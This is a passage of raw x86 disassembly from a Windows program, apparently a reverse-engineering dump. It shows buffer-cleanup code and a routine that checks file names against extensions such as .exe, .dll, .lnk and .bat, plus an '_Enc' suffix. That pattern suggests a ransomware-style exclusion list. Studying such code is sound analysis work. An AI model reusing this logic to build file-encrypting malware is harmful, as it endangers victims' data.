mov dword [ebp - 0x454], 7
mov word [ebp - 0x468], cx
mov dword [ebp - 4], 0x13
test eax, 0x4000
je 0x41ca82
mov edx, dword [ebp - 0x5c4]
and eax, 0xffffbfff
mov dword [ebp - 0x418], eax
cmp edx, 8
jb 0x41ca65
mov ecx, dword [ebp - 0x5d8]
lea edx, [edx*2 + 2]
mov eax, ecx
cmp edx, 0x1000
jb 0x41ca55
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x41e0e5
push edx
push ecx
call fcn.0049143c
mov eax, dword [ebp - 0x418]
add esp, 8
xor ecx, ecx
mov dword [ebp - 0x5c8], 0
mov dword [ebp - 0x5c4], 7
mov word [ebp - 0x5d8], cx
mov dword [ebp - 4], 0x12
test eax, 0x2000
je 0x41cae1
mov ecx, dword [ebp - 0x4d0]
and eax, 0xffffdfff
mov dword [ebp - 0x418], eax
cmp ecx, 8
jb 0x41cae1
mov edx, dword [ebp - 0x4e4]
lea ecx, [ecx*2 + 2]
mov eax, edx
cmp ecx, 0x1000
jb 0x41cad1
mov edx, dword [edx - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x41e0e5
push ecx
push edx
call fcn.0049143c
mov eax, dword [ebp - 0x418]
add esp, 8
mov dword [ebp - 4], 0x11
test eax, 0x1000
je 0x41cb5d
mov edx, dword [ebp - 0x46c]
and eax, 0xffffefff
mov dword [ebp - 0x418], eax
cmp edx, 8
jb 0x41cb40
mov ecx, dword [ebp - 0x480]
lea edx, [edx*2 + 2]
mov eax, ecx
cmp edx, 0x1000
jb 0x41cb30
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x41e0e5
push edx
push ecx
call fcn.0049143c
mov eax, dword [ebp - 0x418]
add esp, 8
xor ecx, ecx
mov dword [ebp - 0x470], 0
mov dword [ebp - 0x46c], 7
mov word [ebp - 0x480], cx
mov dword [ebp - 4], 0x10
test eax, 0x800
je 0x41cbd9
mov edx, dword [ebp - 0x5dc]
and eax, 0xfffff7ff
mov dword [ebp - 0x418], eax
cmp edx, 8
jb 0x41cbbc
mov ecx, dword [ebp - 0x5f0]
lea edx, [edx*2 + 2]
mov eax, ecx
cmp edx, 0x1000
jb 0x41cbac
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x41e0e5
push edx
push ecx
call fcn.0049143c
mov eax, dword [ebp - 0x418]
add esp, 8
xor ecx, ecx
mov dword [ebp - 0x5e0], 0
mov dword [ebp - 0x5dc], 7
mov word [ebp - 0x5f0], cx
mov dword [ebp - 4], 0xf
test eax, 0x400
je 0x41cc55
mov edx, dword [ebp - 0x5f4]
and eax, 0xfffffbff
mov dword [ebp - 0x418], eax
cmp edx, 8
jb 0x41cc38
mov ecx, dword [ebp - 0x608]
lea edx, [edx*2 + 2]
mov eax, ecx
cmp edx, 0x1000
jb 0x41cc28
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x41e0e5
push edx
push ecx
call fcn.0049143c
mov eax, dword [ebp - 0x418]
add esp, 8
xor ecx, ecx
mov dword [ebp - 0x5f8], 0
mov dword [ebp - 0x5f4], 7
mov word [ebp - 0x608], cx
mov dword [ebp - 4], 0xe
test eax, 0x200
je 0x41ccd1
mov edx, dword [ebp - 0x60c]
and eax, 0xfffffdff
mov dword [ebp - 0x418], eax
cmp edx, 8
jb 0x41ccb4
mov ecx, dword [ebp - 0x620]
lea edx, [edx*2 + 2]
mov eax, ecx
cmp edx, 0x1000
jb 0x41cca4
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x41e0e5
push edx
push ecx
call fcn.0049143c
mov eax, dword [ebp - 0x418]
add esp, 8
xor ecx, ecx
mov dword [ebp - 0x610], 0
mov dword [ebp - 0x60c], 7
mov word [ebp - 0x620], cx
mov dword [ebp - 4], 0xd
test eax, 0x100
je 0x41cd4d
mov edx, dword [ebp - 0x624]
and eax, 0xfffffeff
mov dword [ebp - 0x418], eax
cmp edx, 8
jb 0x41cd30
mov ecx, dword [ebp - 0x638]
lea edx, [edx*2 + 2]
mov eax, ecx
cmp edx, 0x1000
jb 0x41cd20
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x41e0e5
push edx
push ecx
call fcn.0049143c
mov eax, dword [ebp - 0x418]
add esp, 8
xor ecx, ecx
mov dword [ebp - 0x628], 0
mov dword [ebp - 0x624], 7
mov word [ebp - 0x638], cx
mov dword [ebp - 4], 0xc
test al, al
jns 0x41cdc6
mov edx, dword [ebp - 0x63c]
and eax, 0xffffff7f
mov dword [ebp - 0x418], eax
cmp edx, 8
jb 0x41cda9
mov ecx, dword [ebp - 0x650]
lea edx, [edx*2 + 2]
mov eax, ecx
cmp edx, 0x1000
jb 0x41cd99
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x41e0e5
push edx
push ecx
call fcn.0049143c
mov eax, dword [ebp - 0x418]
add esp, 8
xor ecx, ecx
mov dword [ebp - 0x640], 0
mov dword [ebp - 0x63c], 7
mov word [ebp - 0x650], cx
mov dword [ebp - 4], 0xb
test al, 0x40
je 0x41ce3d
mov edx, dword [ebp - 0x5a8]
and eax, 0xffffffbf
mov dword [ebp - 0x418], eax
cmp edx, 8
jb 0x41ce20
mov ecx, dword [ebp - 0x5bc]
lea edx, [edx*2 + 2]
mov eax, ecx
cmp edx, 0x1000
jb 0x41ce10
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x41e0e5
push edx
push ecx
call fcn.0049143c
mov eax, dword [ebp - 0x418]
add esp, 8
xor ecx, ecx
mov dword [ebp - 0x5ac], 0
mov dword [ebp - 0x5a8], 7
mov word [ebp - 0x5bc], cx
mov dword [ebp - 4], 0xa
test al, 0x20
je 0x41ce97
mov ecx, dword [ebp - 0x4b8]
and eax, 0xffffffdf
mov dword [ebp - 0x418], eax
cmp ecx, 8
jb 0x41ce97
mov edx, dword [ebp - 0x438]
lea ecx, [ecx*2 + 2]
mov eax, edx
cmp ecx, 0x1000
jb 0x41ce87
mov edx, dword [edx - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x41e0e5
push ecx
push edx
call fcn.0049143c
mov eax, dword [ebp - 0x418]
add esp, 8
mov dword [ebp - 4], 9
test al, 0x10
je 0x41cf0e
mov edx, dword [ebp - 0x484]
and eax, 0xffffffef
mov dword [ebp - 0x418], eax
cmp edx, 8
jb 0x41cef1
mov ecx, dword [ebp - 0x498]
lea edx, [edx*2 + 2]
mov eax, ecx
cmp edx, 0x1000
jb 0x41cee1
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x41e0e5
push edx
push ecx
call fcn.0049143c
mov eax, dword [ebp - 0x418]
add esp, 8
xor ecx, ecx
mov dword [ebp - 0x488], 0
mov dword [ebp - 0x484], 7
mov word [ebp - 0x498], cx
mov dword [ebp - 4], 8
test al, 8
je 0x41cf85
mov edx, dword [ebp - 0x43c]
and eax, 0xfffffff7
mov dword [ebp - 0x418], eax
cmp edx, 8
jb 0x41cf68
mov ecx, dword [ebp - 0x450]
lea edx, [edx*2 + 2]
mov eax, ecx
cmp edx, 0x1000
jb 0x41cf58
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x41e0e5
push edx
push ecx
call fcn.0049143c
mov eax, dword [ebp - 0x418]
add esp, 8
xor ecx, ecx
mov dword [ebp - 0x440], 0
mov dword [ebp - 0x43c], 7
mov word [ebp - 0x450], cx
mov dword [ebp - 4], 7
test al, 4
je 0x41cfdf
mov ecx, dword [ebp - 0x654]
and eax, 0xfffffffb
mov dword [ebp - 0x418], eax
cmp ecx, 8
jb 0x41cfdf
mov edx, dword [ebp - 0x428]
lea ecx, [ecx*2 + 2]
mov eax, edx
cmp ecx, 0x1000
jb 0x41cfcf
mov edx, dword [edx - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x41e0e5
push ecx
push edx
call fcn.0049143c
mov eax, dword [ebp - 0x418]
add esp, 8
mov dword [ebp - 4], 6
test al, 2
je 0x41d056
mov edx, dword [ebp - 0x49c]
and eax, 0xfffffffd
mov dword [ebp - 0x418], eax
cmp edx, 8
jb 0x41d039
mov ecx, dword [ebp - 0x4b0]
lea edx, [edx*2 + 2]
mov eax, ecx
cmp edx, 0x1000
jb 0x41d029
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x41e0e5
push edx
push ecx
call fcn.0049143c
mov eax, dword [ebp - 0x418]
add esp, 8
xor ecx, ecx
mov dword [ebp - 0x4a0], 0
mov dword [ebp - 0x49c], 7
mov word [ebp - 0x4b0], cx
mov dword [ebp - 4], 5
test al, 1
je 0x41d0aa
mov edx, dword [ebp - 0x66c]
and eax, 0xfffffffe
mov dword [ebp - 0x418], eax
cmp edx, 8
jb 0x41d0aa
mov ecx, dword [ebp - 0x680]
lea edx, [edx*2 + 2]
mov eax, ecx
cmp edx, 0x1000
jb 0x41d0a0
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x41e0e5
push edx
push ecx
call fcn.0049143c
add esp, 8
cmp byte [ebp - 0x421], 0
jne 0x41d42f
cmp byte [0x5200e8], 1
jne 0x41d0de
sub esp, 0x18
lea eax, [ebp - 0x2c]
mov ecx, esp
push eax
call fcn.00431aa0
call fcn.00418b10
add esp, 0x18
cmp al, 1
je 0x41d42f
mov eax, dword [ebp - 0x35c]
test al, 0x10
je 0x41d43a
mov esi, dword [sym.imp.KERNEL32.dll_lstrcmpW]
lea eax, [ebp - 0x330]
push 0x4fff30
push eax
call esi
test eax, eax
je 0x41d42f
push 0x4fff34
lea eax, [ebp - 0x330]
push eax
call esi
test eax, eax
je 0x41d42f
mov eax, dword [ebp - 0x35c]
test al, 0x10
je 0x41d43a
mov al, byte [0x5200e9]
test al, al
je 0x41d149
cmp al, 1
jne 0x41d3fd
cmp byte [0x5200ef], al
jne 0x41d3fd
push 0xb8
lea eax, [ebp - 0x414]
push 0
push eax
call fcn.004a9190
push 0x4fff3c
lea edx, [ebp - 0x2c]
lea ecx, [ebp - 0x450]
call fcn.0043a350
add esp, 0x10
sub esp, 8
mov byte [ebp - 4], 0x1d
lea ecx, [ebp - 0x414]
push 0x20
push eax
call fcn.00434310
mov byte [ebp - 4], 0x1f
mov edx, dword [ebp - 0x43c]
cmp edx, 8
jb 0x41d1cb
mov ecx, dword [ebp - 0x450]
lea edx, [edx*2 + 2]
mov eax, ecx
cmp edx, 0x1000
jb 0x41d1c1
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x41e0ea
push edx
push ecx
call fcn.0049143c
add esp, 8
xor eax, eax
mov dword [ebp - 0x440], 0
mov word [ebp - 0x450], ax
mov eax, dword [ebp - 0x414]
mov dword [ebp - 0x43c], 7
mov eax, dword [eax + 4]
test byte [ebp + eax - 0x408], 6
je 0x41d30c
push 0xb0
lea eax, [ebp - 0x10c]
push 0
push eax
call fcn.004a9190
push 0x4fff3c
lea edx, [ebp - 0x2c]
lea ecx, [ebp - 0x5bc]
call fcn.0043a350
add esp, 0x10
sub esp, 0xc
mov byte [ebp - 4], 0x20
lea ecx, [ebp - 0x10c]
push eax
call fcn.00432680
mov byte [ebp - 4], 0x22
mov edx, dword [ebp - 0x5a8]
cmp edx, 8
jb 0x41d27f
mov ecx, dword [ebp - 0x5bc]
lea edx, [edx*2 + 2]
mov eax, ecx
cmp edx, 0x1000
jb 0x41d275
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x41e0ef
push edx
push ecx
call fcn.0049143c
add esp, 8
push dword [0x51fd10]
xor eax, eax
mov dword [ebp - 0x5ac], 0
cmp dword [0x51fd14], 8
lea ecx, [ebp - 0x10c]
mov edx, 0x51fd00
mov dword [ebp - 0x5a8], 7
cmovae edx, dword [0x51fd00]
mov word [ebp - 0x5bc], ax
call fcn.0043f9e0
add esp, 4
lea ecx, [ebp - 0x108]
call fcn.00437c60
test eax, eax
jne 0x41d2fd
mov eax, dword [ebp - 0x10c]
lea ecx, [ebp - 0x10c]
push 0
mov eax, dword [eax + 4]
add ecx, eax
xor eax, eax
cmp dword [ecx + 0x38], eax
sete al
lea eax, [eax*4 + 2]
or eax, dword [ecx + 0xc]
push eax
call fcn.00403740
lea ecx, [ebp - 0x10c]
mov byte [ebp - 4], 0x1f
call fcn.0040ad70
cmp dword [ebp - 0x3b8], 0
lea esi, [ebp - 0x404]
jne 0x41d31f
xor esi, esi
jmp 0x41d346
lea ecx, [ebp - 0x404]
call fcn.00438140
push dword [ebp - 0x3b8]
xor ecx, ecx
test al, al
cmove esi, ecx
call fcn.004b25ba
xor ecx, ecx
add esp, 4
test eax, eax
cmovne esi, ecx
push 2
push 0
lea ecx, [ebp - 0x404]
call fcn.00438210
test esi, esi
jne 0x41d383
mov eax, dword [ebp - 0x414]
lea ecx, [ebp - 0x414]
push esi
mov eax, dword [eax + 4]
add ecx, eax
xor eax, eax
cmp dword [ecx + 0x38], eax
sete al
lea eax, [eax*4 + 2]
or eax, dword [ecx + 0xc]
push eax
call fcn.00403740
mov eax, dword [ebp - 0x414]
mov eax, dword [eax + 4]
mov dword [ebp + eax - method.std::basic_ifstream_char__struct_std::char_traits_char__.virtual_0], vtable.std::basic_ifstream_char__struct_std::char_traits_char__.0
mov eax, dword [ebp - 0x414]
mov ecx, dword [eax + 4]
lea eax, [ecx - 0x70]
mov dword [ebp + ecx - 0x418], eax
lea ecx, [ebp - 0x404]
call fcn.00434fc0
mov eax, dword [ebp - 0x414]
mov eax, dword [eax + 4]
mov dword [ebp + eax - method.std::basic_istream_char__struct_std::char_traits_char__.virtual_0], vtable.std::basic_istream_char__struct_std::char_traits_char__.0
mov eax, dword [ebp - 0x414]
mov ecx, dword [eax + 4]
lea eax, [ecx - 0x18]
mov dword [ebp + ecx - 0x418], eax
lea eax, [ebp - 0x3a4]
mov byte [ebp - 4], 0x23
push eax
mov dword [ebp - method.std::ios_base.virtual_0], vtable.std::ios_base.0
call fcn.004794bf
add esp, 4
mov byte [ebp - 4], 5
sub esp, 0x18
lea eax, [ebp + 0x20]
mov ecx, esp
mov dword [ebp - 0x428], esp
push eax
call fcn.00431aa0
sub esp, 0x18
mov byte [ebp - 4], 0x24
lea eax, [ebp - 0x2c]
mov ecx, esp
push eax
call fcn.00431aa0
mov byte [ebp - 4], 5
call fcn.0041b740
add esp, 0x30
mov esi, dword [ebp - 0x418]
jmp 0x41e036
cmp dword [ebp - 0x18], 8
lea ecx, [ebp - 0x2c]
mov esi, dword [ebp - 0x1c]
mov edx, esi
cmovae ecx, dword [ebp - 0x2c]
push 5
push str.__ID_
push 0
call fcn.0043c0e0
add esp, 0xc
cmp eax, 0xffffffff
jne 0x41de69
cmp dword [ebp - 0x18], 8
lea ecx, [ebp - 0x2c]
push 6
cmovae ecx, dword [ebp - 0x2c]
mov edx, esi
push 0x4ff97c
push 0
call fcn.0043c0e0
add esp, 0xc
cmp eax, 0xffffffff
jne 0x41de69
lea ecx, [esi - 4]
mov dword [ebp - 0x4ec], 0
xor eax, eax
mov dword [ebp - 0x4e8], 7
mov word [ebp - 0x4fc], ax
cmp esi, ecx
jb 0x41e0f4
cmp dword [ebp - 0x18], 8
lea eax, [ebp - 0x2c]
push 4
cmovae eax, dword [ebp - 0x2c]
lea eax, [eax + ecx*2]
push eax
lea ecx, [ebp - 0x4fc]
call fcn.00437430
or edi, 0x8000
mov dword [ebp - 0x41c], edi
mov byte [ebp - 4], 0x25
lea eax, [ebp - 0x4fc]
mov esi, dword [ebp - 0x418]
or esi, 0x1000000
cmp dword [ebp - 0x4e8], 8
mov dword [ebp - 0x420], esi
cmovae eax, dword [ebp - 0x4fc]
cmp dword [ebp - 0x4ec], 4
jne 0x41d53c
mov ecx, str..exe
mov edx, 4
sub eax, ecx
mov dword [ebp - 0x428], eax
mov ax, word [ecx + eax]
cmp ax, word [ecx]
jne 0x41d53c
mov eax, dword [ebp - 0x428]
add ecx, 2
sub edx, 1
jne 0x41d520
jmp 0x41de6f
mov eax, dword [ebp - 0x1c]
xor edx, edx
mov dword [ebp - 0x4d4], 0
mov dword [ebp - 0x4d0], 7
mov word [ebp - 0x4e4], dx
lea ecx, [eax - 4]
cmp eax, ecx
jb 0x41e0f9
cmp dword [ebp - 0x18], 8
lea eax, [ebp - 0x2c]
push 4
cmovae eax, dword [ebp - 0x2c]
lea eax, [eax + ecx*2]
push eax
lea ecx, [ebp - 0x4e4]
call fcn.00437430
or edi, 0x10000
mov dword [ebp - 0x41c], edi
mov dword [ebp - 4], 0x26
lea eax, [ebp - 0x4e4]
or esi, 0x2000000
cmp dword [ebp - 0x4d0], 8
mov dword [ebp - 0x420], esi
cmovae eax, dword [ebp - 0x4e4]
cmp dword [ebp - 0x4d4], 4
jne 0x41d5ed
mov ecx, str..dll
mov edx, 4
sub eax, ecx
mov dword [ebp - 0x428], eax
mov ax, word [ecx + eax]
cmp ax, word [ecx]
jne 0x41d5ed
mov eax, dword [ebp - 0x428]
add ecx, 2
sub edx, 1
jne 0x41d5d1
jmp 0x41de6f
mov eax, dword [ebp - 0x1c]
xor edx, edx
mov dword [ebp - 0x4bc], 0
mov dword [ebp - 0x4b8], 7
mov word [ebp - 0x4cc], dx
lea ecx, [eax - 4]
cmp eax, ecx
jb 0x41e0fe
cmp dword [ebp - 0x18], 8
lea eax, [ebp - 0x2c]
push 4
cmovae eax, dword [ebp - 0x2c]
lea eax, [eax + ecx*2]
push eax
lea ecx, [ebp - 0x4cc]
call fcn.00437430
or edi, 0x20000
mov dword [ebp - 0x41c], edi
mov dword [ebp - 4], 0x27
lea eax, [ebp - 0x4cc]
or esi, 0x4000000
cmp dword [ebp - 0x4b8], 8
mov dword [ebp - 0x420], esi
cmovae eax, dword [ebp - 0x4cc]
cmp dword [ebp - 0x4bc], 4
jne 0x41d69e
mov ecx, str..msi
mov edx, 4
sub eax, ecx
mov dword [ebp - 0x428], eax
mov ax, word [ecx + eax]
cmp ax, word [ecx]
jne 0x41d69e
mov eax, dword [ebp - 0x428]
add ecx, 2
sub edx, 1
jne 0x41d682
jmp 0x41de6f
mov eax, dword [ebp - 0x1c]
xor edx, edx
mov dword [ebp - 0x51c], 0
mov dword [ebp - 0x518], 7
mov word [ebp - 0x52c], dx
lea ecx, [eax - 4]
cmp eax, ecx
jb 0x41e103
cmp dword [ebp - 0x18], 8
lea eax, [ebp - 0x2c]
push 4
cmovae eax, dword [ebp - 0x2c]
lea eax, [eax + ecx*2]
push eax
lea ecx, [ebp - 0x52c]
call fcn.00437430
or edi, 0x40000
mov dword [ebp - 0x41c], edi
mov dword [ebp - 4], 0x28
lea eax, [ebp - 0x52c]
or esi, 0x8000000
cmp dword [ebp - 0x518], 8
mov dword [ebp - 0x420], esi
cmovae eax, dword [ebp - 0x52c]
cmp dword [ebp - 0x51c], 4
jne 0x41d74f
mov ecx, str..log
mov edx, 4
sub eax, ecx
mov dword [ebp - 0x428], eax
mov ax, word [ecx + eax]
cmp ax, word [ecx]
jne 0x41d74f
mov eax, dword [ebp - 0x428]
add ecx, 2
sub edx, 1
jne 0x41d733
jmp 0x41de6f
mov eax, dword [ebp - 0x1c]
xor edx, edx
mov dword [ebp - 0x504], 0
mov dword [ebp - 0x500], 7
mov word [ebp - 0x514], dx
lea ecx, [eax - 4]
cmp eax, ecx
jb 0x41e108
cmp dword [ebp - 0x18], 8
lea eax, [ebp - 0x2c]
push 4
cmovae eax, dword [ebp - 0x2c]
lea eax, [eax + ecx*2]
push eax
lea ecx, [ebp - 0x514]
call fcn.00437430
or edi, 0x80000
mov dword [ebp - 0x41c], edi
mov dword [ebp - 4], 0x29
lea eax, [ebp - 0x514]
or esi, 0x10000000
cmp dword [ebp - 0x500], 8
mov dword [ebp - 0x420], esi
cmovae eax, dword [ebp - 0x514]
cmp dword [ebp - 0x504], 4
jne 0x41d800
mov ecx, str..lnk
mov edx, 4
sub eax, ecx
mov dword [ebp - 0x428], eax
mov ax, word [ecx + eax]
cmp ax, word [ecx]
jne 0x41d800
mov eax, dword [ebp - 0x428]
add ecx, 2
sub edx, 1
jne 0x41d7e4
jmp 0x41de6f
mov eax, dword [ebp - 0x1c]
xor edx, edx
mov dword [ebp - 0x594], 0
mov dword [ebp - 0x590], 7
mov word [ebp - 0x5a4], dx
lea ecx, [eax - 4]
cmp eax, ecx
jb 0x41e10d
cmp dword [ebp - 0x18], 8
lea eax, [ebp - 0x2c]
push 4
cmovae eax, dword [ebp - 0x2c]
lea eax, [eax + ecx*2]
push eax
lea ecx, [ebp - 0x5a4]
call fcn.00437430
or edi, 0x100000
mov dword [ebp - 0x41c], edi
mov dword [ebp - 4], 0x2a
lea eax, [ebp - 0x5a4]
or esi, 0x20000000
cmp dword [ebp - 0x590], 8
mov dword [ebp - 0x420], esi
cmovae eax, dword [ebp - 0x5a4]
cmp dword [ebp - 0x594], 4
jne 0x41d8b1
mov ecx, str..ini
mov edx, 4
sub eax, ecx
mov dword [ebp - 0x428], eax
mov ax, word [eax + ecx]
cmp ax, word [ecx]
jne 0x41d8b1
mov eax, dword [ebp - 0x428]
add ecx, 2
sub edx, 1
jne 0x41d895
jmp 0x41de6f
mov eax, dword [ebp - 0x1c]
xor edx, edx
mov dword [ebp - 0x534], 0
mov dword [ebp - 0x530], 7
mov word [ebp - 0x544], dx
lea ecx, [eax - 4]
cmp eax, ecx
jb 0x41e112
cmp dword [ebp - 0x18], 8
lea eax, [ebp - 0x2c]
push 4
cmovae eax, dword [ebp - 0x2c]
lea eax, [eax + ecx*2]
push eax
lea ecx, [ebp - 0x544]
call fcn.00437430
or edi, 0x200000
mov dword [ebp - 0x41c], edi
mov dword [ebp - 4], 0x2b
lea eax, [ebp - 0x544]
or esi, 0x40000000
cmp dword [ebp - 0x530], 8
mov dword [ebp - 0x420], esi
cmovae eax, dword [ebp - 0x544]
cmp dword [ebp - 0x534], 4
jne 0x41d962
mov ecx, str..ico
mov edx, 4
sub eax, ecx
mov dword [ebp - 0x428], eax
mov ax, word [eax + ecx]
cmp ax, word [ecx]
jne 0x41d962
mov eax, dword [ebp - 0x428]
add ecx, 2
sub edx, 1
jne 0x41d946
jmp 0x41de6f
mov eax, dword [ebp - 0x1c]
xor edx, edx
mov dword [ebp - 0x54c], 0
mov dword [ebp - 0x548], 7
mov word [ebp - 0x55c], dx
lea ecx, [eax - 4]
cmp eax, ecx
jb 0x41e117
cmp dword [ebp - 0x18], 8
lea eax, [ebp - 0x2c]
push 4
cmovae eax, dword [ebp - 0x2c]
lea eax, [eax + ecx*2]
push eax
lea ecx, [ebp - 0x55c]
call fcn.00437430
or edi, 0x400000
mov dword [ebp - 0x41c], edi
mov dword [ebp - 4], 0x2c
lea edi, [ebp - 0x55c]
or esi, 0x80000000
cmp dword [ebp - 0x548], 8
mov dword [ebp - 0x420], esi
cmovae edi, dword [ebp - 0x55c]
cmp dword [ebp - 0x54c], 4
jne 0x41da07
mov ecx, str..cmd
mov edx, 4
sub edi, ecx
mov ax, word [edi + ecx]
cmp ax, word [ecx]
jne 0x41da07
add ecx, 2
sub edx, 1
jne 0x41d9f1
jmp 0x41de6f
mov eax, dword [ebp - 0x1c]
xor edx, edx
mov dword [ebp - 0x564], 0
mov dword [ebp - 0x560], 7
mov word [ebp - 0x574], dx
lea ecx, [eax - 4]
cmp eax, ecx
jb 0x41e11c
cmp dword [ebp - 0x18], 8
lea eax, [ebp - 0x2c]
push 4
cmovae eax, dword [ebp - 0x2c]
lea eax, [eax + ecx*2]
push eax
lea ecx, [ebp - 0x574]
call fcn.00437430
mov dword [ebp - 4], 0x2d
lea edi, [ebp - 0x574]
mov ecx, dword [ebp - 0x41c]
or ecx, 0x800001
cmp dword [ebp - 0x560], 8
mov dword [ebp - 0x41c], ecx
cmovae edi, dword [ebp - 0x574]
cmp dword [ebp - 0x564], 4
mov dword [ebp - 0x418], ecx
jne 0x41daac
mov ecx, str..bat
mov edx, 4
sub edi, ecx
mov ax, word [edi + ecx]
cmp ax, word [ecx]
jne 0x41daac
add ecx, 2
sub edx, 1
jne 0x41da96
jmp 0x41de6f
mov eax, dword [ebp - 0x1c]
xor edx, edx
mov dword [ebp - 0x57c], 0
mov dword [ebp - 0x578], 7
mov word [ebp - 0x58c], dx
lea ecx, [eax - 4]
cmp eax, ecx
jb 0x41e121
cmp dword [ebp - 0x18], 8
lea eax, [ebp - 0x2c]
push 4
cmovae eax, dword [ebp - 0x2c]
lea eax, [eax + ecx*2]
push eax
lea ecx, [ebp - 0x58c]
call fcn.00437430
mov dword [ebp - 4], 0x2e
lea edi, [ebp - 0x58c]
mov ecx, dword [ebp - 0x41c]
or ecx, 0x1000002
cmp dword [ebp - 0x578], 8
mov dword [ebp - 0x41c], ecx
cmovae edi, dword [ebp - 0x58c]
cmp dword [ebp - 0x57c], 4
mov dword [ebp - 0x418], ecx
jne 0x41db56
mov ecx, str..scr
mov edx, 4
sub edi, ecx
nop dword [eax + eax]
mov ax, word [edi + ecx]
cmp ax, word [ecx]
jne 0x41db56
add ecx, 2
sub edx, 1
jne 0x41db40
jmp 0x41de6f
mov eax, dword [ebp - 0x1c]
xor edx, edx
mov dword [ebp - 0x458], 0
mov dword [ebp - 0x454], 7
mov word [ebp - 0x468], dx
lea ecx, [eax - 4]
cmp eax, ecx
jb 0x41e126
cmp dword [ebp - 0x18], 8
lea eax, [ebp - 0x2c]
push 4
cmovae eax, dword [ebp - 0x2c]
lea eax, [eax + ecx*2]
push eax
lea ecx, [ebp - 0x468]
call fcn.00437430
mov dword [ebp - 4], 0x2f
lea edi, [ebp - 0x468]
mov ecx, dword [ebp - 0x41c]
or ecx, 0x2000004
cmp dword [ebp - 0x454], 8
mov dword [ebp - 0x41c], ecx
cmovae edi, dword [ebp - 0x468]
cmp dword [ebp - 0x458], 4
mov dword [ebp - 0x418], ecx
jne 0x41dbfb
mov ecx, str..cpl
mov edx, 4
sub edi, ecx
mov ax, word [edi + ecx]
cmp ax, word [ecx]
jne 0x41dbfb
add ecx, 2
sub edx, 1
jne 0x41dbe5
jmp 0x41de6f
mov eax, dword [ebp - 0x1c]
xor edx, edx
mov dword [ebp - 0x470], 0
mov dword [ebp - 0x46c], 7
mov word [ebp - 0x480], dx
lea ecx, [eax - 4]
cmp eax, ecx
jb 0x41e12b
cmp dword [ebp - 0x18], 8
lea eax, [ebp - 0x2c]
push 4
cmovae eax, dword [ebp - 0x2c]
lea eax, [eax + ecx*2]
push eax
lea ecx, [ebp - 0x480]
call fcn.00437430
mov dword [ebp - 4], 0x30
lea eax, [ebp - 0x480]
mov edi, dword [ebp - 0x41c]
or edi, 0x4000008
cmp dword [ebp - 0x46c], 8
mov dword [ebp - 0x41c], edi
cmovae eax, dword [ebp - 0x480]
cmp dword [ebp - 0x470], 4
mov dword [ebp - 0x418], edi
jne 0x41dcac
mov ecx, str..icl
mov edx, 4
sub eax, ecx
mov dword [ebp - 0x428], eax
mov ax, word [eax + ecx]
cmp ax, word [ecx]
jne 0x41dcac
mov eax, dword [ebp - 0x428]
add ecx, 2
sub edx, 1
jne 0x41dc90
jmp 0x41de6f
mov eax, dword [ebp - 0x1c]
xor edx, edx
mov dword [ebp - 0x488], 0
mov dword [ebp - 0x484], 7
mov word [ebp - 0x498], dx
lea ecx, [eax - 4]
cmp eax, ecx
jb 0x41e130
cmp dword [ebp - 0x18], 8
lea eax, [ebp - 0x2c]
push 4
cmovae eax, dword [ebp - 0x2c]
lea eax, [eax + ecx*2]
push eax
lea ecx, [ebp - 0x498]
call fcn.00437430
mov dword [ebp - 4], 0x31
lea eax, [ebp - 0x498]
or edi, 0x8000010
cmp dword [ebp - 0x484], 8
mov dword [ebp - 0x41c], edi
cmovae eax, dword [ebp - 0x498]
cmp dword [ebp - 0x488], 4
mov dword [ebp - 0x418], edi
jne 0x41dd5c
mov ecx, str._Enc
mov edx, 4
sub eax, ecx
mov dword [ebp - 0x428], eax
nop dword [eax + eax]
mov ax, word [eax + ecx]
cmp ax, word [ecx]
jne 0x41dd5c
mov eax, dword [ebp - 0x428]
add ecx, 2
sub edx, 1
jne 0x41dd40
jmp 0x41de6f
mov eax, dword [ebp - 0x1c]
xor edx, edx
mov dword [ebp - 0x4a0], 0
mov dword [ebp - 0x49c], 7
mov word [ebp - 0x4b0], dx
lea ecx, [eax - 3]
cmp eax, ecx
jb 0x41e135
cmp dword [ebp - 0x18], 8
lea eax, [ebp - 0x2c]
push 3
cmovae eax, dword [ebp - 0x2c]
lea eax, [eax + ecx*2]
push eax
lea ecx, [ebp - 0x4b0]
call fcn.00437430
mov dword [ebp - 4], 0x32
lea eax, [ebp - 0x4b0]
or edi, 0x10000020
cmp dword [ebp - 0x49c], 8
mov dword [ebp - 0x41c], edi
cmovae eax, dword [ebp - 0x4b0]
cmp dword [ebp - 0x4a0], 3
mov dword [ebp - 0x418], edi
jne 0x41de0c
